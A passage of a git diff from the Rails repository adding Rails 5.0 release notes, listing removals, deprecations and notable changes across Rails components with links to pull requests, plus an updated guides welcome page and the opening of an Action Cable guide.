Request](https://github.com/rails/rails/pull/19323)) + +* Added `bin/rails dev:cache` to enable or disable caching in development mode. + ([Pull Request](https://github.com/rails/rails/pull/20961)) + +* Added `bin/update` script to update the development environment automatically. + ([Pull Request](https://github.com/rails/rails/pull/20972)) + +* Proxy Rake tasks through `bin/rails`. + ([Pull Request](https://github.com/rails/rails/pull/22457), + [Pull Request](https://github.com/rails/rails/pull/22288)) + +* New applications are generated with the evented file system monitor enabled + on Linux and Mac OS X. The feature can be opted out by passing + `--skip-listen` to the generator. + ([commit](https://github.com/rails/rails/commit/de6ad5665d2679944a9ee9407826ba88395a1003), + [commit](https://github.com/rails/rails/commit/94dbc48887bf39c241ee2ce1741ee680d773f202)) + +* Generate applications with an option to log to STDOUT in production + using the environment variable `RAILS_LOG_TO_STDOUT`. + ([Pull Request](https://github.com/rails/rails/pull/23734)) + +* Enable HSTS with IncludeSudomains header for new applications. + ([Pull Request](https://github.com/rails/rails/pull/23852)) + +* The application generator writes a new file `config/spring.rb`, which tells + Spring to watch additional common files. + ([commit](https://github.com/rails/rails/commit/b04d07337fd7bc17e88500e9d6bcd361885a45f8)) + + +Action Pack +----------- + +Please refer to the [Changelog][action-pack] for detailed changes. + +### Removals + +* Removed `ActionDispatch::Request::Utils.deep_munge`. + ([commit](https://github.com/rails/rails/commit/52cf1a71b393486435fab4386a8663b146608996)) + +* Removed `ActionController::HideActions`. + ([Pull Request](https://github.com/rails/rails/pull/18371)) + +* Removed `respond_to` and `respond_with` placeholder methods, this functionality + has been extracted to the + [responders](https://github.com/plataformatec/responders) gem. + ([commit](https://github.com/rails/rails/commit/afd5e9a7ff0072e482b0b0e8e238d21b070b6280)) + +* Removed deprecated assertion files. + ([commit](https://github.com/rails/rails/commit/92e27d30d8112962ee068f7b14aa7b10daf0c976)) + +* Removed deprecated usage of string keys in URL helpers. + ([commit](https://github.com/rails/rails/commit/34e380764edede47f7ebe0c7671d6f9c9dc7e809)) + +* Removed deprecated `only_path` option on `*_path` helpers. + ([commit](https://github.com/rails/rails/commit/e4e1fd7ade47771067177254cb133564a3422b8a)) + +* Removed deprecated `NamedRouteCollection#helpers`. + ([commit](https://github.com/rails/rails/commit/2cc91c37bc2e32b7a04b2d782fb8f4a69a14503f)) + +* Removed deprecated support to define routes with `:to` option that doesn't contain `#`. + ([commit](https://github.com/rails/rails/commit/1f3b0a8609c00278b9a10076040ac9c90a9cc4a6)) + +* Removed deprecated `ActionDispatch::Response#to_ary`. + ([commit](https://github.com/rails/rails/commit/4b19d5b7bcdf4f11bd1e2e9ed2149a958e338c01)) + +* Removed deprecated `ActionDispatch::Request#deep_munge`. + ([commit](https://github.com/rails/rails/commit/7676659633057dacd97b8da66e0d9119809b343e)) + +* Removed deprecated + `ActionDispatch::Http::Parameters#symbolized_path_parameters`. + ([commit](https://github.com/rails/rails/commit/7fe7973cd8bd119b724d72c5f617cf94c18edf9e)) + +* Removed deprecated option `use_route` in controller tests. + ([commit](https://github.com/rails/rails/commit/e4cfd353a47369dd32198b0e67b8cbb2f9a1c548)) + +* Removed `assigns` and `assert_template`. Both methods have been extracted + into the + [rails-controller-testing](https://github.com/rails/rails-controller-testing) + gem. + ([Pull Request](https://github.com/rails/rails/pull/20138)) + +### Deprecations + +* Deprecated all `*_filter` callbacks in favor of `*_action` callbacks. + ([Pull Request](https://github.com/rails/rails/pull/18410)) + +* Deprecated `*_via_redirect` integration test methods. Use `follow_redirect!` + manually after the request call for the same behavior. + ([Pull Request](https://github.com/rails/rails/pull/18693)) + +* Deprecated `AbstractController#skip_action_callback` in favor of individual + skip_callback methods. + ([Pull Request](https://github.com/rails/rails/pull/19060)) + +* Deprecated `:nothing` option for `render` method. + ([Pull Request](https://github.com/rails/rails/pull/20336)) + +* Deprecated passing first parameter as `Hash` and default status code for + `head` method. + ([Pull Request](https://github.com/rails/rails/pull/20407)) + +* Deprecated using strings or symbols for middleware class names. Use class + names instead. + ([commit](https://github.com/rails/rails/commit/83b767ce)) + +* Deprecated accessing mime types via constants (eg. `Mime::HTML`). Use the + subscript operator with a symbol instead (eg. `Mime[:html]`). + ([Pull Request](https://github.com/rails/rails/pull/21869)) + +* Deprecated `redirect_to :back` in favor of `redirect_back`, which accepts a + required `fallback_location` argument, thus eliminating the possibility of a + `RedirectBackError`. + ([Pull Request](https://github.com/rails/rails/pull/22506)) + +* `ActionDispatch::IntegrationTest` and `ActionController::TestCase` deprecate positional arguments in favor of + keyword arguments. ([Pull Request](https://github.com/rails/rails/pull/18323)) + +### Notable changes + +* Added `ActionController::Renderer` to render arbitrary templates + outside controller actions. + ([Pull Request](https://github.com/rails/rails/pull/18546)) + +* Migrating to keyword arguments syntax in `ActionController::TestCase` and + `ActionDispatch::Integration` HTTP request methods. + ([Pull Request](https://github.com/rails/rails/pull/18323)) + +* Added `http_cache_forever` to Action Controller, so we can cache a response + that never gets expired. + ([Pull Request](https://github.com/rails/rails/pull/18394)) + +* Provide friendlier access to request variants. + ([Pull Request](https://github.com/rails/rails/pull/18939)) + +* For actions with no corresponding templates, render `head :no_content` + instead of raising an error. + ([Pull Request](https://github.com/rails/rails/pull/19377)) + +* Added the ability to override default form builder for a controller. + ([Pull Request](https://github.com/rails/rails/pull/19736)) + +* Added support for API only apps. + `ActionController::API` is added as a replacement of + `ActionController::Base` for this kind of applications. + ([Pull Request](https://github.com/rails/rails/pull/19832)) + +* Make `ActionController::Parameters` no longer inherits from + `HashWithIndifferentAccess`. + ([Pull Request](https://github.com/rails/rails/pull/20868)) + +* Make it easier to opt in to `config.force_ssl` and `config.ssl_options` by + making them less dangerous to try and easier to disable. + ([Pull Request](https://github.com/rails/rails/pull/21520)) + +* Added the ability of returning arbitrary headers to `ActionDispatch::Static`. + ([Pull Request](https://github.com/rails/rails/pull/19135)) + +* Changed the `protect_from_forgery` prepend default to `false`. + ([commit](https://github.com/rails/rails/commit/39794037817703575c35a75f1961b01b83791191)) + +* `ActionController::TestCase` will be moved to its own gem in Rails 5.1. Use + `ActionDispatch::IntegrationTest` instead. + ([commit](https://github.com/rails/rails/commit/4414c5d1795e815b102571425974a8b1d46d932d)) + +* Rails will only generate "weak", instead of strong ETags. + ([Pull Request](https://github.com/rails/rails/pull/17573)) + +* Controller actions without an explicit `render` call and with no + corresponding templates will render `head :no_content` implicitly + instead of raising an error. + (Pull Request [1](https://github.com/rails/rails/pull/19377), + [2](https://github.com/rails/rails/pull/23827)) + +* Added an option for per-form CSRF tokens. + ([Pull Request](https://github.com/rails/rails/pull/22275)) + +* Added request encoding and response parsing to integration tests. + ([Pull Request](https://github.com/rails/rails/pull/21671)) + +* Update default rendering policies when the controller action did + not explicitly indicate a response. + ([Pull Request](https://github.com/rails/rails/pull/23827)) + + +* Add `ActionController#helpers` to get access to the view context + at the controller level. + ([Pull Request](https://github.com/rails/rails/pull/24866)) + +Action View +------------- + +Please refer to the [Changelog][action-view] for detailed changes. + +### Removals + +* Removed deprecated `AbstractController::Base::parent_prefixes`. + ([commit](https://github.com/rails/rails/commit/34bcbcf35701ca44be559ff391535c0dd865c333)) + +* Removed `ActionView::Helpers::RecordTagHelper`, this functionality + has been extracted to the + [record_tag_helper](https://github.com/rails/record_tag_helper) gem. + ([Pull Request](https://github.com/rails/rails/pull/18411)) + +* Removed `:rescue_format` option for `translate` helper since it's no longer + supported by I18n. + ([Pull Request](https://github.com/rails/rails/pull/20019)) + +### Deprecations + +* Deprecated `datetime_field` and `datetime_field_tag` helpers. + Datetime input type was removed from HTML specification. + One can use `datetime_local_field` and `datetime_local_field_tag` instead. + ([Pull Request](https://github.com/rails/rails/pull/24385)) + +### Notable Changes + +* Changed the default template handler from `ERB` to `Raw`. + ([commit](https://github.com/rails/rails/commit/4be859f0fdf7b3059a28d03c279f03f5938efc80)) + +* Collection rendering can cache and fetches multiple partials at once. + ([Pull Request](https://github.com/rails/rails/pull/18948), + [commit](https://github.com/rails/rails/commit/e93f0f0f133717f9b06b1eaefd3442bd0ff43985)) + +* Added wildcard matching to explicit dependencies. + ([Pull Request](https://github.com/rails/rails/pull/20904)) + +* Make `disable_with` the default behavior for submit tags. Disables the + button on submit to prevent double submits. + ([Pull Request](https://github.com/rails/rails/pull/21135)) + +Action Mailer +------------- + +Please refer to the [Changelog][action-mailer] for detailed changes. + +### Removals + +* Removed deprecated `*_path` helpers in email views. + ([commit](https://github.com/rails/rails/commit/d282125a18c1697a9b5bb775628a2db239142ac7)) + +* Removed deprecated `deliver` and `deliver!` methods. + ([commit](https://github.com/rails/rails/commit/755dcd0691f74079c24196135f89b917062b0715)) + +### Notable changes + +* Template lookup now respects default locale and I18n fallbacks. + ([commit](https://github.com/rails/rails/commit/ecb1981b)) + +* Added `_mailer` suffix to mailers created via generator, following the same + naming convention used in controllers and jobs. + ([Pull Request](https://github.com/rails/rails/pull/18074)) + +* Added `assert_enqueued_emails` and `assert_no_enqueued_emails`. + ([Pull Request](https://github.com/rails/rails/pull/18403)) + +* Added `config.action_mailer.deliver_later_queue_name` configuration to set + the mailer queue name. + ([Pull Request](https://github.com/rails/rails/pull/18587)) + +* Added support for fragment caching in Action Mailer views. + Added new config option `config.action_mailer.perform_caching` to determine + whether your templates should perform caching or not. + ([Pull Request](https://github.com/rails/rails/pull/22825)) + + +Active Record +------------- + +Please refer to the [Changelog][active-record] for detailed changes. + +### Removals + +* Removed deprecated behavior allowing nested arrays to be passed as query + values. ([Pull Request](https://github.com/rails/rails/pull/17919)) + +* Removed deprecated `ActiveRecord::Tasks::DatabaseTasks#load_schema`. This + method was replaced by `ActiveRecord::Tasks::DatabaseTasks#load_schema_for`. + ([commit](https://github.com/rails/rails/commit/ad783136d747f73329350b9bb5a5e17c8f8800da)) + +* Removed deprecated `serialized_attributes`. + ([commit](https://github.com/rails/rails/commit/82043ab53cb186d59b1b3be06122861758f814b2)) + +* Removed deprecated automatic counter caches on `has_many :through`. + ([commit](https://github.com/rails/rails/commit/87c8ce340c6c83342df988df247e9035393ed7a0)) + +* Removed deprecated `sanitize_sql_hash_for_conditions`. + ([commit](https://github.com/rails/rails/commit/3a59dd212315ebb9bae8338b98af259ac00bbef3)) + +* Removed deprecated `Reflection#source_macro`. + ([commit](https://github.com/rails/rails/commit/ede8c199a85cfbb6457d5630ec1e285e5ec49313)) + +* Removed deprecated `symbolized_base_class` and `symbolized_sti_name`. + ([commit](https://github.com/rails/rails/commit/9013e28e52eba3a6ffcede26f85df48d264b8951)) + +* Removed deprecated `ActiveRecord::Base.disable_implicit_join_references=`. + ([commit](https://github.com/rails/rails/commit/0fbd1fc888ffb8cbe1191193bf86933110693dfc)) + +* Removed deprecated access to connection specification using a string accessor. + ([commit](https://github.com/rails/rails/commit/efdc20f36ccc37afbb2705eb9acca76dd8aabd4f)) + +* Removed deprecated support to preload instance-dependent associations. + ([commit](https://github.com/rails/rails/commit/4ed97979d14c5e92eb212b1a629da0a214084078)) + +* Removed deprecated support for PostgreSQL ranges with exclusive lower bounds. + ([commit](https://github.com/rails/rails/commit/a076256d63f64d194b8f634890527a5ed2651115)) + +* Removed deprecation when modifying a relation with cached Arel. + This raises an `ImmutableRelation` error instead. + ([commit](https://github.com/rails/rails/commit/3ae98181433dda1b5e19910e107494762512a86c)) + +* Removed `ActiveRecord::Serialization::XmlSerializer` from core. This feature + has been extracted into the + [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml) + gem. ([Pull Request](https://github.com/rails/rails/pull/21161)) + +* Removed support for the legacy `mysql` database adapter from core. It will + live on in a separate gem for now, but most users should just use `mysql2`. + +* Removed support for the `protected_attributes` gem. + ([commit](https://github.com/rails/rails/commit/f4fbc0301021f13ae05c8e941c8efc4ae351fdf9)) + +* Removed support for PostgreSQL versions below 9.1. + ([Pull Request](https://github.com/rails/rails/pull/23434)) + +### Deprecations + +* Deprecated passing a class as a value in a query. Users should pass strings + instead. ([Pull Request](https://github.com/rails/rails/pull/17916)) + +* Deprecated returning `false` as a way to halt Active Record callback + chains. The recommended way is to + `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* Deprecated `ActiveRecord::Base.errors_in_transactional_callbacks=`. + ([commit](https://github.com/rails/rails/commit/07d3d402341e81ada0214f2cb2be1da69eadfe72)) + +* Deprecated `Relation#uniq` use `Relation#distinct` instead. + ([commit](https://github.com/rails/rails/commit/adfab2dcf4003ca564d78d4425566dd2d9cd8b4f)) + +* Deprecated the PostgreSQL `:point` type in favor of a new one which will return + `Point` objects instead of an `Array` + ([Pull Request](https://github.com/rails/rails/pull/20448)) + +* Deprecated force association reload by passing a truthy argument to + association method. + ([Pull Request](https://github.com/rails/rails/pull/20888)) + +* Deprecated the keys for association `restrict_dependent_destroy` errors in favor + of new key names. + ([Pull Request](https://github.com/rails/rails/pull/20668)) + +* Synchronize behavior of `#tables`. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecated `SchemaCache#tables`, `SchemaCache#table_exists?` and + `SchemaCache#clear_table_cache!` in favor of their new data source + counterparts. + ([Pull Request](https://github.com/rails/rails/pull/21715)) + +* Deprecated `connection.tables` on the SQLite3 and MySQL adapters. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecated passing arguments to `#tables` - the `#tables` method of some + adapters (mysql2, sqlite3) would return both tables and views while others + (postgresql) just return tables. To make their behavior consistent, + `#tables` will return only tables in the future. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecated `table_exists?` - The `#table_exists?` method would check both + tables and views. To make their behavior consistent with `#tables`, + `#table_exists?` will check only tables in the future. + ([Pull Request](https://github.com/rails/rails/pull/21601)) + +* Deprecate sending the `offset` argument to `find_nth`. Please use the + `offset` method on relation instead. + ([Pull Request](https://github.com/rails/rails/pull/22053)) + +* Deprecated `{insert|update|delete}_sql` in `DatabaseStatements`. + Use the `{insert|update|delete}` public methods instead. + ([Pull Request](https://github.com/rails/rails/pull/23086)) + +* Deprecated `use_transactional_fixtures` in favor of + `use_transactional_tests` for more clarity. + ([Pull Request](https://github.com/rails/rails/pull/19282)) + +### Notable changes + +* Added a `foreign_key` option to `references` while creating the table. + ([commit](https://github.com/rails/rails/commit/99a6f9e60ea55924b44f894a16f8de0162cf2702)) + +* New attributes + API. ([commit](https://github.com/rails/rails/commit/8c752c7ac739d5a86d4136ab1e9d0142c4041e58)) + +* Added `:enum_prefix`/`:enum_suffix` option to `enum` + definition. ([Pull Request](https://github.com/rails/rails/pull/19813)) + +* Added `#cache_key` to `ActiveRecord::Relation`. + ([Pull Request](https://github.com/rails/rails/pull/20884)) + +* Changed the default `null` value for `timestamps` to `false`. + ([commit](https://github.com/rails/rails/commit/a939506f297b667291480f26fa32a373a18ae06a)) + +* Added `ActiveRecord::SecureToken` in order to encapsulate generation of + unique tokens for attributes in a model using `SecureRandom`. + ([Pull Request](https://github.com/rails/rails/pull/18217)) + +* Added `:if_exists` option for `drop_table`. + ([Pull Request](https://github.com/rails/rails/pull/18597)) + +* Added `ActiveRecord::Base#accessed_fields`, which can be used to quickly + discover which fields were read from a model when you are looking to only + select the data you need from the database. + ([commit](https://github.com/rails/rails/commit/be9b68038e83a617eb38c26147659162e4ac3d2c)) + +* Added the `#or` method on `ActiveRecord::Relation`, allowing use of the OR + operator to combine WHERE or HAVING clauses. + ([commit](https://github.com/rails/rails/commit/b0b37942d729b6bdcd2e3178eda7fa1de203b3d0)) + +* Added `:time` option added for `#touch`. + ([Pull Request](https://github.com/rails/rails/pull/18956)) + +* Added `ActiveRecord::Base.suppress` to prevent the receiver from being saved + during the given block. + ([Pull Request](https://github.com/rails/rails/pull/18910)) + +* `belongs_to` will now trigger a validation error by default if the + association is not present. You can turn this off on a per-association basis + with `optional: true`. Also deprecate `required` option in favor of `optional` + for `belongs_to`. + ([Pull Request](https://github.com/rails/rails/pull/18937)) + +* Added `config.active_record.dump_schemas` to configure the behavior of + `db:structure:dump`. + ([Pull Request](https://github.com/rails/rails/pull/19347)) + +* Added `config.active_record.warn_on_records_fetched_greater_than` option. + ([Pull Request](https://github.com/rails/rails/pull/18846)) + +* Added a native JSON data type support in MySQL. + ([Pull Request](https://github.com/rails/rails/pull/21110)) + +* Added support for dropping indexes concurrently in PostgreSQL. + ([Pull Request](https://github.com/rails/rails/pull/21317)) + +* Added `#views` and `#view_exists?` methods on connection adapters. + ([Pull Request](https://github.com/rails/rails/pull/21609)) + +* Added `ActiveRecord::Base.ignored_columns` to make some columns + invisible from Active Record. + ([Pull Request](https://github.com/rails/rails/pull/21720)) + +* Added `connection.data_sources` and `connection.data_source_exists?`. + These methods determine what relations can be used to back Active Record + models (usually tables and views). + ([Pull Request](https://github.com/rails/rails/pull/21715)) + +* Allow fixtures files to set the model class in the YAML file itself. + ([Pull Request](https://github.com/rails/rails/pull/20574)) + +* Added ability to default to `uuid` as primary key when generating database + migrations. ([Pull Request](https://github.com/rails/rails/pull/21762)) + +* Added `ActiveRecord::Relation#left_joins` and + `ActiveRecord::Relation#left_outer_joins`. + ([Pull Request](https://github.com/rails/rails/pull/12071)) + +* Added `after_{create,update,delete}_commit` callbacks. + ([Pull Request](https://github.com/rails/rails/pull/22516)) + +* Version the API presented to migration classes, so we can change parameter + defaults without breaking existing migrations, or forcing them to be + rewritten through a deprecation cycle. + ([Pull Request](https://github.com/rails/rails/pull/21538)) + +* `ApplicationRecord` is a new superclass for all app models, analogous to app + controllers subclassing `ApplicationController` instead of + `ActionController::Base`. This gives apps a single spot to configure app-wide + model behavior. + ([Pull Request](https://github.com/rails/rails/pull/22567)) + +* Added ActiveRecord `#second_to_last` and `#third_to_last` methods. + ([Pull Request](https://github.com/rails/rails/pull/23583)) + +* Added ability to annotate database objects (tables, columns, indexes) + with comments stored in database metadata for PostgreSQL & MySQL. + ([Pull Request](https://github.com/rails/rails/pull/22911)) + +* Added prepared statements support to `mysql2` adapter, for mysql2 0.4.4+, + Previously this was only supported on the deprecated `mysql` legacy adapter. + To enable, set `prepared_statements: true` in config/database.yml. + ([Pull Request](https://github.com/rails/rails/pull/23461)) + +Active Model +------------ + +Please refer to the [Changelog][active-model] for detailed changes. + +### Removals + +* Removed deprecated `ActiveModel::Dirty#reset_#{attribute}` and + `ActiveModel::Dirty#reset_changes`. + ([Pull Request](https://github.com/rails/rails/commit/37175a24bd508e2983247ec5d011d57df836c743)) + +* Removed XML serialization. This feature has been extracted into the + [activemodel-serializers-xml](https://github.com/rails/activemodel-serializers-xml) gem. + ([Pull Request](https://github.com/rails/rails/pull/21161)) + +### Deprecations + +* Deprecated returning `false` as a way to halt Active Model and + `ActiveModel::Validations` callback chains. The recommended way is to + `throw(:abort)`. ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* Deprecated `ActiveModel::Errors#get`, `ActiveModel::Errors#set` and + `ActiveModel::Errors#[]=` methods that have inconsistent behavior. + ([Pull Request](https://github.com/rails/rails/pull/18634)) + +* Deprecated the `:tokenizer` option for `validates_length_of`, in favor of + plain Ruby. + ([Pull Request](https://github.com/rails/rails/pull/19585)) + +* Deprecated `ActiveModel::Errors#add_on_empty` and `ActiveModel::Errors#add_on_blank` + with no replacement. + ([Pull Request](https://github.com/rails/rails/pull/18996)) + +### Notable changes + +* Added `ActiveModel::Errors#details` to determine what validator has failed. + ([Pull Request](https://github.com/rails/rails/pull/18322)) + +* Extracted `ActiveRecord::AttributeAssignment` to `ActiveModel::AttributeAssignment` + allowing to use it for any object as an includable module. + ([Pull Request](https://github.com/rails/rails/pull/10776)) + +* Added `ActiveModel::Dirty#[attr_name]_previously_changed?` and + `ActiveModel::Dirty#[attr_name]_previous_change` to improve access + to recorded changes after the model has been saved. + ([Pull Request](https://github.com/rails/rails/pull/19847)) + +* Validate multiple contexts on `valid?` and `invalid?` at once. + ([Pull Request](https://github.com/rails/rails/pull/21069)) + + +Active Job +----------- + +Please refer to the [Changelog][active-job] for detailed changes. + +### Notable changes + +* `ActiveJob::Base.deserialize` delegates to the job class. This allows jobs + to attach arbitrary metadata when they get serialized and read it back when + they get performed. + ([Pull Request](https://github.com/rails/rails/pull/18260)) + +* Add ability to configure the queue adapter on a per job basis without + affecting each other. + ([Pull Request](https://github.com/rails/rails/pull/16992)) + +* A generated job now inherits from `app/jobs/application_job.rb` by default. + ([Pull Request](https://github.com/rails/rails/pull/19034)) + +* Allow `DelayedJob`, `Sidekiq`, `qu`, `que`, and `queue_classic` to report + the job id back to `ActiveJob::Base` as `provider_job_id`. + ([Pull Request](https://github.com/rails/rails/pull/20064), + [Pull Request](https://github.com/rails/rails/pull/20056), + [commit](https://github.com/rails/rails/commit/68e3279163d06e6b04e043f91c9470e9259bbbe0)) + +* Implement a simple `AsyncJob` processor and associated `AsyncAdapter` that + queue jobs to a `concurrent-ruby` thread pool. + ([Pull Request](https://github.com/rails/rails/pull/21257)) + +* Change the default adapter from inline to async. It's a better default as + tests will then not mistakenly come to rely on behavior happening + synchronously. + ([commit](https://github.com/rails/rails/commit/625baa69d14881ac49ba2e5c7d9cac4b222d7022)) + +Active Support +-------------- + +Please refer to the [Changelog][active-support] for detailed changes. + +### Removals + +* Removed deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`. + ([commit](https://github.com/rails/rails/commit/d6e06ea8275cdc3f126f926ed9b5349fde374b10)) + +* Removed deprecated methods `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=` + and `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string`. + ([commit](https://github.com/rails/rails/commit/c8019c0611791b2716c6bed48ef8dcb177b7869c)) + +* Removed deprecated `ActiveSupport::SafeBuffer#prepend`. + ([commit](https://github.com/rails/rails/commit/e1c8b9f688c56aaedac9466a4343df955b4a67ec)) + +* Removed deprecated methods from `Kernel`. `silence_stderr`, `silence_stream`, + `capture` and `quietly`. + ([commit](https://github.com/rails/rails/commit/481e49c64f790e46f4aff3ed539ed227d2eb46cb)) + +* Removed deprecated `active_support/core_ext/big_decimal/yaml_conversions` + file. + ([commit](https://github.com/rails/rails/commit/98ea19925d6db642731741c3b91bd085fac92241)) + +* Removed deprecated methods `ActiveSupport::Cache::Store.instrument` and + `ActiveSupport::Cache::Store.instrument=`. + ([commit](https://github.com/rails/rails/commit/a3ce6ca30ed0e77496c63781af596b149687b6d7)) + +* Removed deprecated `Class#superclass_delegating_accessor`. + Use `Class#class_attribute` instead. + ([Pull Request](https://github.com/rails/rails/pull/16938)) + +* Removed deprecated `ThreadSafe::Cache`. Use `Concurrent::Map` instead. + ([Pull Request](https://github.com/rails/rails/pull/21679)) + +### Deprecations + +* Deprecated `MissingSourceFile` in favor of `LoadError`. + ([commit](https://github.com/rails/rails/commit/734d97d2)) + +* Deprecated `alias_method_chain` in favour of `Module#prepend` introduced in + Ruby 2.0. + ([Pull Request](https://github.com/rails/rails/pull/19434)) + +* Deprecated `ActiveSupport::Concurrency::Latch` in favor of + `Concurrent::CountDownLatch` from concurrent-ruby. + ([Pull Request](https://github.com/rails/rails/pull/20866)) + +* Deprecated `:prefix` option of `number_to_human_size` with no replacement. + ([Pull Request](https://github.com/rails/rails/pull/21191)) + +* Deprecated `Module#qualified_const_` in favour of the builtin + `Module#const_` methods. + ([Pull Request](https://github.com/rails/rails/pull/17845)) + +* Deprecated passing string to define callback. + ([Pull Request](https://github.com/rails/rails/pull/22598)) + +* Deprecated `ActiveSupport::Cache::Store#namespaced_key`, + `ActiveSupport::Cache::MemCachedStore#escape_key`, and + `ActiveSupport::Cache::FileStore#key_file_path`. + Use `normalize_key` instead. + + Deprecated `ActiveSupport::Cache::LocaleCache#set_cache_value` in favor of `write_cache_value`. + ([Pull Request](https://github.com/rails/rails/pull/22215)) + +* Deprecated passing arguments to `assert_nothing_raised`. + ([Pull Request](https://github.com/rails/rails/pull/23789)) + +* Deprecated `Module.local_constants` in favor of `Module.constants(false)`. + ([Pull Request](https://github.com/rails/rails/pull/23936)) + + +### Notable changes + +* Added `#verified` and `#valid_message?` methods to + `ActiveSupport::MessageVerifier`. + ([Pull Request](https://github.com/rails/rails/pull/17727)) + +* Changed the way in which callback chains can be halted. The preferred method + to halt a callback chain from now on is to explicitly `throw(:abort)`. + ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* New config option + `config.active_support.halt_callback_chains_on_return_false` to specify + whether ActiveRecord, ActiveModel and ActiveModel::Validations callback + chains can be halted by returning `false` in a 'before' callback. + ([Pull Request](https://github.com/rails/rails/pull/17227)) + +* Changed the default test order from `:sorted` to `:random`. + ([commit](https://github.com/rails/rails/commit/5f777e4b5ee2e3e8e6fd0e2a208ec2a4d25a960d)) + +* Added `#on_weekend?`, `#on_weekday?`, `#next_weekday`, `#prev_weekday` methods to `Date`, + `Time`, and `DateTime`. + ([Pull Request](https://github.com/rails/rails/pull/18335)) + +* Added `same_time` option to `#next_week` and `#prev_week` for `Date`, `Time`, + and `DateTime`. + ([Pull Request](https://github.com/rails/rails/pull/18335)) + +* Added `#prev_day` and `#next_day` counterparts to `#yesterday` and + `#tomorrow` for `Date`, `Time`, and `DateTime`. + ([Pull Request](httpshttps://github.com/rails/rails/pull/18335)) + +* Added `SecureRandom.base58` for generation of random base58 strings. + ([commit](https://github.com/rails/rails/commit/b1093977110f18ae0cafe56c3d99fc22a7d54d1b)) + +* Added `file_fixture` to `ActiveSupport::TestCase`. + It provides a simple mechanism to access sample files in your test cases. + ([Pull Request](https://github.com/rails/rails/pull/18658)) + +* Added `#without` on `Enumerable` and `Array` to return a copy of an + enumerable without the specified elements. + ([Pull Request](https://github.com/rails/rails/pull/19157)) + +* Added `ActiveSupport::ArrayInquirer` and `Array#inquiry`. + ([Pull Request](https://github.com/rails/rails/pull/18939)) + +* Added `ActiveSupport::TimeZone#strptime` to allow parsing times as if + from a given timezone. + ([commit](https://github.com/rails/rails/commit/a5e507fa0b8180c3d97458a9b86c195e9857d8f6)) + +* Added `Integer#positive?` and `Integer#negative?` query methods + in the vein of `Fixnum#zero?`. + ([commit](https://github.com/rails/rails/commit/e54277a45da3c86fecdfa930663d7692fd083daa)) + +* Added a bang version to `ActiveSupport::OrderedOptions` get methods which will raise + an `KeyError` if the value is `.blank?`. + ([Pull Request](https://github.com/rails/rails/pull/20208)) + +* Added `Time.days_in_year` to return the number of days in the given year, or the + current year if no argument is provided. + ([commit](https://github.com/rails/rails/commit/2f4f4d2cf1e4c5a442459fc250daf66186d110fa)) + +* Added an evented file watcher to asynchronously detect changes in the + application source code, routes, locales, etc. + ([Pull Request](https://github.com/rails/rails/pull/22254)) + +* Added thread_m/cattr_accessor/reader/writer suite of methods for declaring + class and module variables that live per-thread. + ([Pull Request](https://github.com/rails/rails/pull/22630)) + +* Added `Array#second_to_last` and `Array#third_to_last` methods. + ([Pull Request](https://github.com/rails/rails/pull/23583)) + +* Added `#on_weekday?` method to `Date`, `Time`, and `DateTime`. + ([Pull Request](https://github.com/rails/rails/pull/23687)) + +* Publish `ActiveSupport::Executor` and `ActiveSupport::Reloader` APIs to allow + components and libraries to manage, and participate in, the execution of + application code, and the application reloading process. + ([Pull Request](https://github.com/rails/rails/pull/23807)) + +* `ActiveSupport::Duration` now supports ISO8601 formatting and parsing. + ([Pull Request](https://github.com/rails/rails/pull/16917)) + + +Credits +------- + +See the +[full list of contributors to Rails](http://contributors.rubyonrails.org/) for +the many people who spent many hours making Rails, the stable and robust +framework it is. Kudos to all of them. + +[railties]: https://github.com/rails/rails/blob/5-0-stable/railties/CHANGELOG.md +[action-pack]: https://github.com/rails/rails/blob/5-0-stable/actionpack/CHANGELOG.md +[action-view]: https://github.com/rails/rails/blob/5-0-stable/actionview/CHANGELOG.md +[action-mailer]: https://github.com/rails/rails/blob/5-0-stable/actionmailer/CHANGELOG.md +[action-cable]: https://github.com/rails/rails/blob/5-0-stable/actioncable/CHANGELOG.md +[active-record]: https://github.com/rails/rails/blob/5-0-stable/activerecord/CHANGELOG.md +[active-model]: https://github.com/rails/rails/blob/5-0-stable/activemodel/CHANGELOG.md +[active-support]: https://github.com/rails/rails/blob/5-0-stable/activesupport/CHANGELOG.md +[active-job]: https://github.com/rails/rails/blob/5-0-stable/activejob/CHANGELOG.md diff --git a/guides/source/_welcome.html.erb b/guides/source/_welcome.html.erb index 67f5f1cdd5..f50bcddbe7 100644 --- a/guides/source/_welcome.html.erb +++ b/guides/source/_welcome.html.erb @@ -16,9 +16,9 @@ <% end %> <p> The guides for earlier releases: -<a href="http://guides.rubyonrails.org/v4.2.0/">Rails 4.2.0</a>, -<a href="http://guides.rubyonrails.org/v4.1.8/">Rails 4.1.8</a>, -<a href="http://guides.rubyonrails.org/v4.0.12/">Rails 4.0.12</a>, -<a href="http://guides.rubyonrails.org/v3.2.21/">Rails 3.2.21</a> and -<a href="http://guides.rubyonrails.org/v2.3.11/">Rails 2.3.11</a>. +<a href="http://guides.rubyonrails.org/v4.2/">Rails 4.2</a>, +<a href="http://guides.rubyonrails.org/v4.1/">Rails 4.1</a>, +<a href="http://guides.rubyonrails.org/v4.0/">Rails 4.0</a>, +<a href="http://guides.rubyonrails.org/v3.2/">Rails 3.2</a>, and +<a href="http://guides.rubyonrails.org/v2.3/">Rails 2.3</a>. </p> diff --git a/guides/source/action_cable_overview.md b/guides/source/action_cable_overview.md new file mode 100644 index 0000000000..93bcb6157a --- /dev/null +++ b/guides/source/action_cable_overview.md @@ -0,0 +1,665 @@ +Action Cable Overview +===================== + +In this guide you will learn how Action Cable works and how to use WebSockets to +incorporate real-time features into your Rails application. + +After reading this guide, you will know: + +* How to setup Action Cable +* How to setup channels + +Introduction +------------ + +Action Cable seamlessly integrates +[WebSockets](https://en.wikipedia.org/wiki/WebSocket) with the rest of your +Rails application. It allows for real-time features to be written in Ruby in the +same style and form as the rest of your Rails application, while still being +performant and scalable. It's a full-stack offering that provides both a +client-side JavaScript framework and a server-side Ruby 